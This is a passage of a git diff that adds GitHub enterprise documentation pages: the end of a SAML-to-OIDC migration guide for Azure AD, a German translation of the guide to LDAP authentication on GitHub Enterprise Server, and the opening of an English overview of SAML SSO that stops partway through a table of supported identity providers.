+{% endnote %}
+
+1. Before you begin the migration, sign in to Azure and disable provisioning in the existing {% data variables.product.prodname_emu_idp_application %} application.
+1. If you use [Conditional Access (CA) network location policies](https://docs.microsoft.com/en-us/azure/active-directory/conditional-access/location-condition) in Azure AD, and you're currently using an IP allow list with your enterprise account or any of the organizations owned by the enterprise account on {% data variables.product.prodname_dotcom_the_website %}, disable the IP allow lists. For more information, see "[Enforcing security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-allowed-ip-addresses-for-organizations-in-your-enterprise)" and "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-allowed-ip-addresses-for-your-organization)."
+1.  Sign into {% data variables.product.prodname_dotcom_the_website %} as the setup user for your enterprise with the username **@<em>SHORT-CODE</em>_admin**. 
+1. When prompted to continue to your identity provider, click **Use a recovery code** and sign in using one of your enterprise's recovery codes.
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.security-tab %}
+1. At the bottom of the page, next to "Migrate to OpenID Connect single sign-on", click **Configure with Azure**.  
+   {% warning %} 
+
+   **Warning:** The migration can take up to an hour, and it is important that no users are provisioned during the migration. You can confirm if the migration is still in progress by returning to your enterprise's security settings page; if "Require SAML authentication" is still checked, the migration is still in progress.
+
+   {% endwarning %}
+
+   ![Screenshot showing the "Configure with Azure" button](/assets/images/help/enterprises/saml-to-oidc-button.png)
+1. Read both warnings and click to continue.
+{% data reusables.enterprise-accounts.emu-azure-admin-consent %}
+1. In a new tab or window, while signed in as the setup user on {% data variables.product.prodname_dotcom_the_website %}, create a {% data variables.product.pat_v1 %} with the **admin:enterprise** scope and **no expiration** and copy it to your clipboard. For more information about creating a new token, see "[Creating a {% data variables.product.pat_generic %}](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users#creating-a-personal-access-token)."
+1. In the settings for the {% data variables.product.prodname_emu_idp_oidc_application %} application in Azure Portal, under "Tenant URL", type `https://api.github.com/scim/v2/enterprises/YOUR_ENTERPRISE`, replacing YOUR_ENTERPRISE with the name of your enterprise account.  
+   
+   For example, if your enterprise account's URL is `https://github.com/enterprises/octo-corp`, the name of the enterprise account is `octo-corp`.
+1. Under "Secret token", paste the {% data variables.product.pat_v1 %} with the **admin:enterprise** scope that you created earlier.
+1. To test the configuration, click **Test Connection**.
+1. To save your changes, at the top of the form, click **Save**.
+1. In Azure Portal, copy the users and groups from the old {% data variables.product.prodname_emu_idp_application %} application to the new {% data variables.product.prodname_emu_idp_oidc_application %} application.
+1. Test your configuration by provisioning a single new user.
+1. If your test is successful, start provisioning for all users by clicking **Start provisioning**.
diff --git a/translations/de-DE/content/admin/identity-and-access-management/using-ldap-for-enterprise-iam/index.md b/translations/de-DE/content/admin/identity-and-access-management/using-ldap-for-enterprise-iam/index.md
new file mode 100644
index 0000000000..67af5b8586
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/using-ldap-for-enterprise-iam/index.md
@@ -0,0 +1,10 @@
+---
+title: Using LDAP for enterprise IAM
+shortTitle: LDAP for enterprise IAM
+intro: 'You can centrally manage accounts and access to {% data variables.location.product_location %} by integrating with your existing LDAP directory.'
+versions:
+  ghes: '*'
+children:
+  - /using-ldap
+---
+
diff --git a/translations/de-DE/content/admin/identity-and-access-management/using-ldap-for-enterprise-iam/using-ldap.md b/translations/de-DE/content/admin/identity-and-access-management/using-ldap-for-enterprise-iam/using-ldap.md
new file mode 100644
index 0000000000..fbe9ef765b
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/using-ldap-for-enterprise-iam/using-ldap.md
@@ -0,0 +1,216 @@
+---
+title: Verwenden von LDAP
+redirect_from:
+  - /enterprise/admin/articles/configuring-ldap-authentication
+  - /enterprise/admin/articles/about-ldap-authentication
+  - /enterprise/admin/articles/viewing-ldap-users
+  - /enterprise/admin/hidden/enabling-ldap-sync
+  - /enterprise/admin/hidden/ldap-sync
+  - /enterprise/admin/user-management/using-ldap
+  - /enterprise/admin/authentication/using-ldap
+  - /admin/authentication/using-ldap
+  - /enterprise/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-ldap
+  - /admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/using-ldap
+intro: 'Wenn du das Lightweight Directory Access-Protokoll (LDAP) verwendest, um den Zugriff auf alle Anwendungen zu zentralisieren, kannst du {% data variables.product.product_name %} durch die Konfiguration der LDAP-Authentifizierung für deine Instanz integrieren.'
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Accounts
+  - Authentication
+  - Enterprise
+  - Identity
+ms.openlocfilehash: 5d9b6aa9a5d641afa0b24dbe0e0f446ab723c735
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148107525'
+---
+## Informationen zur LDAP-Authentifizierung für {% data variables.product.product_name %}
+
+LDAP ist ein beliebtes Anwendungsprotokoll für den Zugriff auf und die Verwaltung von Verzeichnisinformationsdiensten. Zudem ist es eines der gängigsten Protokolle zur Integration von Drittanbietersoftware in große Benutzerverzeichnisse von Unternehmen. Weitere Informationen findest du unter [Lightweight Directory Access Protocol](https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol) auf Wikipedia.
+
+Wenn du ein LDAP-Verzeichnis für die zentralisierte Authentifizierung verwendest, kannst du die LDAP-Authentifizierung für die Personen konfigurieren, die {% data variables.location.product_location %} verwenden.
+
+{% data reusables.enterprise_user_management.built-in-authentication %}
+
+## Unterstützte LDAP-Dienste
+
+{% data variables.product.prodname_ghe_server %} lässt sich in die folgenden LDAP-Dienste integrieren:
+
+* Active Directory
+* FreeIPA
+* Oracle Directory Server Enterprise Edition
+* OpenLDAP
+* Open Directory
+* 389-ds
+
+## Grundlegendes für Benutzernamen bei LDAP
+
+{% data reusables.enterprise_user_management.consider-usernames-for-external-authentication %} Weitere Informationen findest du unter [Benutzernamenüberlegungen für die externe Authentifizierung](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication).
+
+## Konfigurieren von LDAP mit {% data variables.location.product_location %}
+
+Nach der Konfiguration von LDAP können sich Benutzer*innen mit ihren LDAP-Anmeldeinformationen bei deiner Instanz anmelden. Wenn sich Benutzer erstmals anmelden, werden ihre Profilnamen, E-Mail-Adressen und SSH-Schlüssel mit den LDAP-Attributen aus deinem Verzeichnis festgelegt.
+
+Wenn du LDAP-Zugriff für Benutzer über die {% data variables.enterprise.management_console %} konfigurierst, werden deine Benutzerlizenzen erst verwendet, sobald sich ein Benutzer bei deiner Instanz zum ersten Mal anmeldet. Wenn du jedoch ein Konto manuell in den Website-Administratoreinstellungen erstellst, wird die Benutzerlizenz sofort gezählt.
+
+{% warning %}
+
+**Warnung:** Vergewissere dich vor dem Konfigurieren von LDAP für {% data variables.location.product_location %}, dass der LDAP-Dienst paginierte Ergebnisse unterstützt.
+
+{% endwarning %}
+
+{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.authentication %}
+3. Wähle unter „Authentication“ (Authentifizierung) die Option **LDAP** aus.
+![LDAP-Auswahl](/assets/images/enterprise/management-console/ldap-select.png)
+4. {% data reusables.enterprise_user_management.built-in-authentication-option %} ![Aktivierung des Kontrollkästchen für integrierte LDAP-Authentifizierung](/assets/images/enterprise/management-console/ldap-built-in-authentication.png)
+5. Füge die gewünschten Konfigurationseinstellungen hinzu.
+
+## LDAP-Attribute
+Verwende diese Attribute, um die Konfiguration von LDAP für {% data variables.location.product_location %} abzuschließen.
+
+| Attributname           | type     | BESCHREIBUNG |
+|--------------------------|----------|-------------|
+| `Host`                   | Erforderlich | Der LDAP-Host, z. B. `ldap.example.com` oder `10.0.0.30`. Wenn der Hostname nur über dein internes Netzwerk verfügbar ist, musst du eventuell zuerst den DNS von {% data variables.location.product_location %} konfigurieren, damit er den Hostnamen über deine internen Namenserver auflösen kann. |
+| `Port`                   | Erforderlich | Der Port, der von den LDAP-Diensten des Hosts überwacht wird. Beispiele: 389 und 636 (für LDAPS). |
+| `Encryption`             | Erforderlich | Die Verschlüsselungsmethode, die verwendet wird, um Kommunikationen zum LDAP-Server zu schützen. Dazu zählen beispielsweise Nur-Text (keine Verschlüsselung), SSL/LDAPS (von Anfang an verschlüsselt) und StartTLS (Upgrade auf verschlüsselte Kommunikation nach dem Herstellen der Verbindung). |
+| `Domain search user`     | Optional | Der LDAP-Benutzer, der nach anderen Benutzern sucht, die sich anmelden, um die Authentifizierung zuzulassen. In der Regel handelt es sich dabei um ein Dienstkonto, das speziell für Drittanbieterintegrationen erstellt wird. Verwende einen vollqualifizierten Namen wie `cn=Administrator,cn=Users,dc=Example,dc=com`. Mit Active Directory kannst du auch die `[DOMAIN]\[USERNAME]`-Syntax (z. B. `WINDOWS\Administrator`) für den Benutzer der Domänensuche mit Active Directory verwenden. |
+| `Domain search password` | Optional | Das Passwort für den Benutzer der Domain-Suche. |
+| `Administrators group`   | Optional | Benutzer*innen in dieser Gruppe werden auf Websiteadministrator*innen hochgestuft, wenn sie sich bei deiner Appliance anmelden. Wenn du keine Gruppe für LDAP-Administratoren konfigurierst, wird das erste LDAP-Benutzerkonto, das sich bei deiner Appliance anmeldet, automatisch auf einen Websiteadministrator hochgestuft. |
+| `Domain base`            | Erforderlich | Der vollqualifizierte `Distinguished Name` (DN) einer LDAP-Unterstruktur, die du nach Benutzern und Gruppen durchsuchen möchtest. Du kannst beliebig viele hinzufügen. Jede Gruppe muss jedoch in derselben Domain-Basis definiert sein wie die zugehörigen Benutzer. Wenn du eingeschränkte Benutzergruppen angibst, befinden sich nur die diesen Gruppen zugehörigen Benutzer im Geltungsbereich. Zum Steuern des Zugriffs solltest du die oberste Ebene deiner LDAP-Verzeichnisstruktur als deine Domain-Basis angeben und eingeschränkte Benutzergruppen verwenden. |
+| `Restricted user groups` | Optional | Wenn diese Option angegeben ist, können sich nur die Benutzer dieser Gruppen anmelden. Du musst nur die allgemeinen Namen (Common Names, CNs) der Gruppen angeben. Zudem kannst du beliebig viele Gruppen hinzufügen. Sind keine Gruppen angegeben, können sich *alle* Benutzer im Bereich der angegebenen Domänenbasis bei deiner {% data variables.product.prodname_ghe_server %}-Instanz anmelden. |
+| `User ID`                | Erforderlich | Das LDAP-Attribut, das den LDAP-Benutzer identifiziert, der versucht, sich zu authentifizieren. Nach dem Herstellen einer Zuordnung können Benutzer ihre {% data variables.product.prodname_ghe_server %}-Benutzernamen ändern. Dieses Feld sollte für die meisten Active Directory-Installationen auf `sAMAccountName` festgelegt sein, kann aber für andere LDAP-Lösungen wie OpenLDAP auf `uid` festgelegt sein. Standardwert: `uid`. |
+| `Profile name`           | Optional | Der Name, der auf der {% data variables.product.prodname_ghe_server %}-Profilseite des Benutzers angezeigt wird. Sofern die LDAP-Synchronisierung nicht aktiviert ist, können Benutzer ihre Profilnamen ändern. |
+| `Emails`                 | Optional | Die E-Mail-Adressen für das {% data variables.product.prodname_ghe_server %}-Konto eines Benutzers. |
+| `SSH keys`               | Optional | Die öffentlichen SSH-Schlüssel, die an das {% data variables.product.prodname_ghe_server %}-Konto eines Benutzers angehängt sind. Die Schlüssel müssen im OpenSSH-Format vorliegen. |
+| `GPG keys`               | Optional | Die GPG-Schlüssel, die an das {% data variables.product.prodname_ghe_server %}-Konto eines Benutzers angehängt sind. |
+| `Disable LDAP authentication for Git operations` | Optional |Wenn ausgewählt, wird die Möglichkeit der Benutzer [deaktiviert](#disabling-password-authentication-for-git-operations), LDAP-Kennwörter zum Authentifizieren von Git-Vorgängen zu verwenden. |
+| `Enable LDAP certificate verification` | Optional |Wenn ausgewählt, wird die LDAP-Zertifikatüberprüfung [aktiviert](#enabling-ldap-certificate-verification). |
+| `Synchronization` | Optional |Wenn ausgewählt, wird die LDAP-Synchronisierung [aktiviert](#enabling-ldap-sync). |
+
+### Passwortauthentifizierung für Git-Vorgänge deaktivieren
+
+Wähle in deinen LDAP-Einstellungen die Option **Authentifizierung mit Benutzername und Kennwort für Git-Vorgänge deaktivieren**, um die Verwendung von {% data variables.product.pat_generic %} oder SSH-Schlüsseln für den Git-Zugriff zu erzwingen. Dies kann dazu beitragen, dass dein Server nicht durch LDAP-Authentifizierungsanforderungen überlastet wird. Diese Einstellung wird empfohlen, da ein langsam reagierender LDAP-Server, insbesondere in Kombination mit einer Vielzahl an Anforderungen (infolge des automatischen Abrufens) häufig für Leistungsprobleme und Ausfälle verantwortlich ist.
+
+![Kontrollkästchen zum Deaktivieren der LDAP-Passwortauthentifizierung für Git](/assets/images/enterprise/management-console/ldap-disable-password-auth-for-git.png)
+
+Wenn ein Benutzer versucht, ein Kennwort für Git-Vorgänge über die Befehlszeile zu verwenden, wird bei Auswahl dieser Option eine Fehlermeldung mit folgendem Wortlaut angezeigt: `Password authentication is not allowed for Git operations. You must use a {% data variables.product.pat_generic %}.`
+
+### LDAP-Zertifikatsverifizierung aktivieren
+
+Wähle **Enable LDAP certificate verification** (LDAP-Zertifikatüberprüfung aktivieren) in den LDAP-Einstellungen aus, um das von dir verwendete LDAP-Serverzertifikat mit TLS zu überprüfen.
+
+![Feld für die LDAP-Zertifikatsverifizierung](/assets/images/enterprise/management-console/ldap-enable-certificate-verification.png)
+
+Wenn diese Option ausgewählt ist, wird das Zertifikat validiert, um Folgendes sicherzustellen:
+- Wenn das Zertifikat mindestens einen Subject Alternative Name (SAN) enthält, stimmt einer der SANs mit dem LDAP-Hostnamen überein. Andernfalls stimmt der allgemeine Name (Common Name, CN) mit dem LDAP-Hostnamen überein.
+- Das Zertifikat ist nicht abgelaufen.
+- Das Zertifikat wurde von einer vertrauenswürdigen Zertifizierungsstelle (CA) signiert.
+
+### LDAP-Synchronisierung aktivieren
+
+{% note %}
+
+**Hinweis:** Teams, die LDAP-Synchronisierung verwenden, sind auf maximal 1499 Mitglieder beschränkt.
+
+{% endnote %}
+
+Mithilfe der LDAP-Synchronisierung kannst du {% data variables.product.prodname_ghe_server %}-Benutzer und die -Teammitgliedschaft mit deinen festgelegten LDAP-Gruppen synchronisieren. Dadurch kannst du eine rollenbasierte Zugriffskontrolle (Role-Based Access Control, RBAC) für Benutzer von deinem LDAP-Server aus einrichten, anstatt manuell innerhalb von {% data variables.product.prodname_ghe_server %}. Weitere Informationen findest du unter [Erstellen von Teams](/enterprise/admin/guides/user-management/creating-teams#creating-teams-with-ldap-sync-enabled).
+
+Wähle zum Aktivieren der LDAP-Synchronisierung in den LDAP-Einstellungen die Option **Synchronize Emails** (E-Mails synchronisieren), **Synchronize SSH Keys** (SSH-Schlüssel synchronisieren) oder **Synchronize GPG Keys** (GPG-Schlüssel synchronisieren) aus.
+
+![Kontrollkästchen für die Synchronisierung](/assets/images/enterprise/management-console/ldap-synchronize.png)
+
+Nach der Aktivierung der LDAP-Synchronisierung wird ein Synchronisierungsauftrag entsprechend dem angegebenen Zeitintervall ausgeführt, um die folgenden Vorgänge in jedem Benutzerkonto durchzuführen:
+
+- Wenn du die integrierte Authentifizierung für Benutzer außerhalb deines Identity Providers erlaubt hast und der Benutzer die integrierte Authentifizierung verwendet, kannst du zum nächsten Benutzer wechseln.
+- Wenn für den Benutzer keine LDAP-Zuordnung vorliegt, solltest du versuchen, den Benutzer einem LDAP-Eintrag im Verzeichnis zuzuordnen. Wenn es nicht möglich ist, den Benutzer einem LDAP-Eintrag zuzuordnen, sperre den Benutzer, und wechsle zum nächsten Benutzer.
+- Wenn eine LDAP-Zuordnung vorliegt, der entsprechende LDAP-Eintrag im Verzeichnis jedoch fehlt, sperre den Benutzer, und wechsle zum nächsten Benutzer.
+- Wenn der entsprechende LDAP-Eintrag als deaktiviert markiert wurde und der Benutzer nicht bereits gesperrt ist, sperre den Benutzer, und wechsle zum nächsten Benutzer.
+- Wenn der entsprechende LDAP-Eintrag nicht als deaktiviert markiert ist, der Benutzer gesperrt ist und _Reactivate suspended users_ (Gesperrte Benutzer erneut aktivieren) im Admin Center aktiviert ist, entsperre den Benutzer.
+- Sperre den Benutzer, wenn Benutzergruppen mit eingeschränktem Zugriff in der Instanz konfiguriert sind und sich der entsprechende LDAP-Eintrag nicht in einer dieser Gruppen befindet.
+- Entsperre den Benutzer, wenn Benutzergruppen mit eingeschränktem Zugriff in der Instanz konfiguriert sind, wenn sich der entsprechende LDAP-Eintrag in einer dieser Gruppen befindet und wenn _Reactivate suspended users_ (Gesperrte Benutzer erneut aktivieren) im Admin Center aktiviert ist.
+- Wenn der entsprechende LDAP-Eintrag das Attribut `name` enthält, aktualisiere den Profilnamen des Benutzers.
+- Wenn sich der entsprechende LDAP-Eintrag in der Gruppe „Administrators“ (Administratoren) befindet, stufe den Benutzer auf einen Websiteadministrator hoch.
+- Wenn sich der entsprechende LDAP-Eintrag nicht in der Gruppe „Administrators“ (Administratoren) befindet, stufe den Benutzer auf ein normales Konto zurück.
+- Wenn das Feld „LDAP User“ (LDAP-Benutzer) für E-Mails festgelegt ist, synchronisiere die E-Mail-Einstellungen des Benutzers mit dem LDAP-Eintrag. Lege den ersten LDAP-`mail`-Eintrag als primäre E-Mail-Adresse fest.
+- Wenn das Feld „LDAP User“ (LDAP-Benutzer) für öffentliche SSH-Schlüssel festgelegt ist, synchronisiere die öffentlichen SSH-Schlüssel des Benutzers mit dem LDAP-Eintrag.  
+- Wenn das Feld „LDAP User“ (LDAP-Benutzer) für GPG-Schlüssel festgelegt ist, synchronisiere die GPG-Schlüssel des Benutzers mit dem LDAP-Eintrag.  
+
+{% note %}
+
+**Hinweis**: LDAP-Einträge können nur als deaktiviert gekennzeichnet werden, wenn du Active Directory verwendest und das Attribut `userAccountControl` vorhanden und mit `ACCOUNTDISABLE` gekennzeichnet ist. Einige Varianten von Active Directory, z. B. AD LDS und ADAM, unterstützen das Attribut `userAccountControl` nicht.
+
+{% endnote %}
+
+Darüber hinaus wird ein Synchronisierungsauftrag im angegebenen Zeitintervall ausgeführt, um die folgenden Aktionen für jedes Team durchzuführen, das einer LDAP-Gruppe zugeordnet wurde:
+
+- Wenn die entsprechende LDAP-Gruppe eines Teams entfernt wurde, entferne alle Mitglieder aus dem Team.
+- Wenn Einträge von LDAP-Mitgliedern aus der LDAP-Gruppe entfernt wurden, entferne die entsprechenden Benutzer aus dem Team. Wenn der Benutzer nicht länger Mitglied eines Teams in der Organisation und kein Organisationsbesitzer ist, entferne den Benutzer aus der Organisation. Wenn der Benutzer den Zugriff auf die Repositorys verloren hat, lösche die privaten Forks, die der Benutzer für diese Repositorys besitzt.
+
+  {% note %}
+
+  **Hinweis:** Bei der LDAP-Synchronisierung wird ein Benutzer nicht aus einer Organisation entfernt, wenn der Benutzer ein Organisationsbesitzer ist. Stattdessen muss ein anderer Organisationsbesitzer den Benutzer manuell entfernen.
+
+  {% endnote %}
+- Wenn die LDAP-Mitgliedereinträge zur LDAP-Gruppe hinzugefügt wurden, füge die entsprechenden Benutzer dem Team hinzu. Wenn der Benutzer den Zugriff auf Repositorys zurückerlangt, solltest du die privaten Forks der Repositorys wiederherstellen, die gelöscht wurden, weil der Benutzer den Zugriff in den vergangenen 90 Tagen verloren hat.
+
+{% data reusables.enterprise_user_management.ldap-sync-nested-teams %}
+
+{% warning %}
+
+**Sicherheitswarnung:**
+
+Wenn die LDAP-Synchronisierung aktiviert ist, können Websiteadministratoren und Organisationsinhaber das LDAP-Verzeichnis nach Gruppen durchsuchen, um sie dem Team zuzuordnen.
+
+Dadurch können sensible Organisationsinformationen potenziell Vertragsnehmern oder anderen nicht privilegierten Benutzern offengelegt werden, darunter
+
+- die Verfügbarkeit von spezifischen LDAP-Gruppen, die für den *Benutzer der Domänensuche* sichtbar sind,
+- Mitglieder der LDAP-Gruppe, die über {% data variables.product.prodname_ghe_server %}-Benutzerkonten verfügen, die beim Erstellen eines Teams offengelegt werden, das mit dieser LDAP-Gruppe synchronisiert ist.
+
+Wenn die Offenlegung solcher Informationen nicht gewünscht wird, sollte dein Unternehmen oder deine Organisation in der Administratorkonsole die Berechtigungen des konfigurierten *Benutzers der Domänensuche* einschränken. Ist eine solche Einschränkung nicht möglich, wende dich an {% data variables.contact.contact_ent_support %}.
+
+{% endwarning %}
+
+### Unterstützte LDAP-Gruppenobjektklassen
+
+{% data variables.product.prodname_ghe_server %} unterstützt die folgenden LDAP-Gruppenobjektklassen. Gruppen können verschachtelt werden.
+
+- `group`
+- `groupOfNames`
+- `groupOfUniqueNames`
+- `posixGroup`
+
+## LDAP-Benutzer anzeigen und erstellen
+
+Du kannst die vollständige Liste der LDAP-Benutzer anzeigen, die Zugriff auf deine Instanz besitzen, und neue Benutzer bereitstellen.
+
+{% data reusables.enterprise_site_admin_settings.sign-in %} {% data reusables.enterprise_site_admin_settings.access-settings %}
+3. Klicke auf der linken Randleiste auf **LDAP users** (LDAP-Benutzer).
+![Registerkarte „LDAP users“ (LDAP-Benutzer)](/assets/images/enterprise/site-admin-settings/ldap-users-tab.png)
+4. Gib zum Suchen nach einem Benutzer einen vollständigen oder einen Teil von einem Benutzernamen ein, und klicke auf **Search** (Suchen). Die vorhandenen Benutzer werden in den Suchergebnissen angezeigt. Wenn ein Benutzer nicht vorhanden ist, klicke auf **Create** (Erstellen), um das neue Benutzerkonto bereitzustellen.
+![LDAP-Suche](/assets/images/enterprise/site-admin-settings/ldap-users-search.jpg)
+
+## LDAP-Konten aktualisieren
+
+Nur wenn die [LDAP-Synchronisierung aktiviert ist](#enabling-ldap-sync), werden Änderungen an LDAP-Konten automatisch mit {% data variables.product.prodname_ghe_server %} synchronisiert.
+
+* Zum Verwenden einer neuen LDAP-Administratorgruppe müssen die Benutzer manuell auf {% data variables.product.prodname_ghe_server %} hoch- und zurückgestuft werden, um die Änderungen in LDAP zu berücksichtigen.
+* Zum Hinzufügen oder Entfernen von LDAP-Konten in LDAP-Administratorgruppen [stufst du die Konten auf {% data variables.product.prodname_ghe_server %} höher oder tiefer](/enterprise/admin/guides/user-management/promoting-or-demoting-a-site-administrator).
+* Zum Entfernen von LDAP-Konten [sperrst du die {% data variables.product.prodname_ghe_server %}-Konten](/enterprise/admin/guides/user-management/suspending-and-unsuspending-users).
+
+### LDAP-Konten manuell synchronisieren
+
+{% data reusables.enterprise_site_admin_settings.sign-in %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.search-user %} {% data reusables.enterprise_site_admin_settings.click-user %} {% data reusables.enterprise_site_admin_settings.admin-top-tab %} {% data reusables.enterprise_site_admin_settings.admin-tab %}
+5. Klicke unter „LDAP“ auf **Sync now** (Jetzt synchronisieren), um das Konto manuell mit Daten aus deinem LDAP-Server zu aktualisieren.
+![Schaltfläche „Sync now“ (Jetzt synchronisieren) für LDAP](/assets/images/enterprise/site-admin-settings/ldap-sync-now-button.png)
+
+Du kannst auch [die API verwenden, um eine manuelle Synchronisierung auszulösen](/enterprise/user/rest/reference/enterprise-admin#ldap).
+
+## Widerrufen des Zugriffs auf {% data variables.location.product_location %}
+
+Wenn die [LDAP-Synchronisierung aktiviert ist](#enabling-ldap-sync), wird durch das Entfernen der LDAP-Anmeldeinformationen eines Benutzers das Konto des Benutzers nach der nächsten Synchronisierungsausführung gesperrt.
+
+Bei **nicht** aktivierter LDAP-Synchronisierung musst du das {% data variables.product.prodname_ghe_server %}-Konto nach dem Entfernen der LDAP-Anmeldeinformationen manuell sperren. Weitere Informationen findest du unter [Sperren und Entsperren von Benutzern](/enterprise/admin/guides/user-management/suspending-and-unsuspending-users).
diff --git a/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam.md b/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam.md
new file mode 100644
index 0000000000..6bbe5ad199
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam.md
@@ -0,0 +1,128 @@
+---
+title: About SAML for enterprise IAM
+shortTitle: About SAML for IAM
+intro: 'You can use SAML single sign-on (SSO) {% ifversion ghae %}and System for Cross-domain Identity Management (SCIM) {% endif %}to centrally manage access {% ifversion ghec %}to organizations owned by your enterprise on {% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}to {% data variables.location.product_location %}{% elsif ghae %}to {% data variables.location.product_location %}{% endif %}.'
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+type: overview
+topics:
+  - Accounts
+  - Access management
+  - Authentication
+  - Enterprise
+  - Identity
+redirect_from:
+  - /admin/authentication/about-identity-and-access-management-for-your-enterprise
+  - /github/setting-up-and-managing-your-enterprise/about-identity-and-access-management-for-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/about-identity-and-access-management-for-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise/about-user-provisioning-for-organizations-in-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise/configuring-saml-single-sign-on-and-scim-for-your-enterprise-account-using-okta
+  - /admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise
+  - /admin/identity-and-access-management/managing-iam-for-your-enterprise/about-identity-and-access-management-for-your-enterprise
+  - /admin/identity-and-access-management/using-saml-for-enterprise-iam/about-identity-and-access-management-for-your-enterprise
+---
+
+## About SAML SSO for {% ifversion ghec or ghae %}your enterprise on {% endif %}{% ifversion ghec or ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %}
+
+{% ifversion ghec %}
+
+If your enterprise members manage their own user accounts on {% data variables.location.product_location %}, you can configure SAML authentication as an additional access restriction for your enterprise or organization. {% data reusables.saml.dotcom-saml-explanation %} 
+
+{% data reusables.saml.saml-accounts %}
+
+{% data reusables.saml.about-saml-enterprise-accounts %} For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)."
+
+Alternatively, you can provision and manage the accounts of your enterprise members with {% data variables.product.prodname_emus %}. To help you determine whether SAML SSO or {% data variables.product.prodname_emus %} is better for your enterprise, see "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#identifying-the-best-authentication-method-for-your-enterprise)."
+
+{% data reusables.enterprise-accounts.about-recovery-codes %} For more information, see "[Managing recovery codes for your enterprise](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise)."
+
+After you enable SAML SSO, depending on the IdP you use, you may be able to enable additional identity and access management features. 
+
+If you use Azure AD as your IDP, you can use team synchronization to manage team membership within each organization. {% data reusables.identity-and-permissions.about-team-sync %} For more information, see "[Managing team synchronization for organizations in your enterprise account](/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)."
+
+{% note %}
+
+**Note:** You cannot use SCIM at the enterprise level unless your enterprise is enabled for {% data variables.product.prodname_emus %}.
+
+{% endnote %}
+
+{% data reusables.saml.switching-from-org-to-enterprise %} For more information, see "[Switching your SAML configuration from an organization to an enterprise account](/github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account)."
+
+{% elsif ghes %}
+
+SAML SSO allows people to authenticate and access {% data variables.location.product_location %} through an external system for identity management.
+
+SAML is an XML-based standard for authentication and authorization. When you configure SAML for {% data variables.location.product_location %}, the external system for authentication is called an identity provider (IdP). Your instance acts as a SAML service provider (SP). For more information about the SAML standard, see [Security Assertion Markup Language](https://en.wikipedia.org/wiki/Security_Assertion_Markup_Language) on Wikipedia.
+
+For more information about the configuration of SAML SSO on {% data variables.product.product_name %}, see "[Configuring SAML single sign-on for your enterprise](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise)."
+
+{% data reusables.saml.saml-ghes-account-revocation %}
+
+{% data reusables.enterprise_user_management.external_auth_disables_2fa %}
+
+{% data reusables.enterprise_user_management.built-in-authentication %}
+
+{% elsif ghae %}
+
+{% data reusables.saml.ae-uses-saml-sso %} {% data reusables.saml.ae-enable-saml-sso-during-bootstrapping %}
+
+After you configure the application for {% data variables.product.product_name %} on your identity provider (IdP), you can provision access to {% data variables.location.product_location %} by assigning the application to users and groups on your IdP. For more information about SAML SSO for {% data variables.product.product_name %}, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise)."
+
+{% data reusables.scim.after-you-configure-saml %} For more information, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)."
+
+To learn how to configure both authentication and user provisioning for {% data variables.location.product_location %} with your specific IdP, see "[Configuring authentication and provisioning with your identity provider](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider)."
+
+{% endif %}
+
+## Supported IdPs
+
+{% ifversion ghec %}
+
+We test and officially support the following IdPs. For SAML SSO, we offer limited support for all identity providers that implement the SAML 2.0 standard. For more information, see the [SAML Wiki](https://wiki.oasis-open.org/security) on the OASIS website.
+
+IdP | SAML | Team synchronization | 
+--- | :--: | :-------: |
+Active Directory Federation Services (AD FS) | {% octicon "check-circle-fill" aria-label= "The check icon" %} | |
+Azure Active Directory (Azure AD) | {% octicon "check-circle-fill" aria-label="The check icon" %} | {% octicon "check-circle-fill" aria-label="The check icon" %} |
+Okta | {% octicon "check-circle-fill" aria-label="The check icon" %} | |
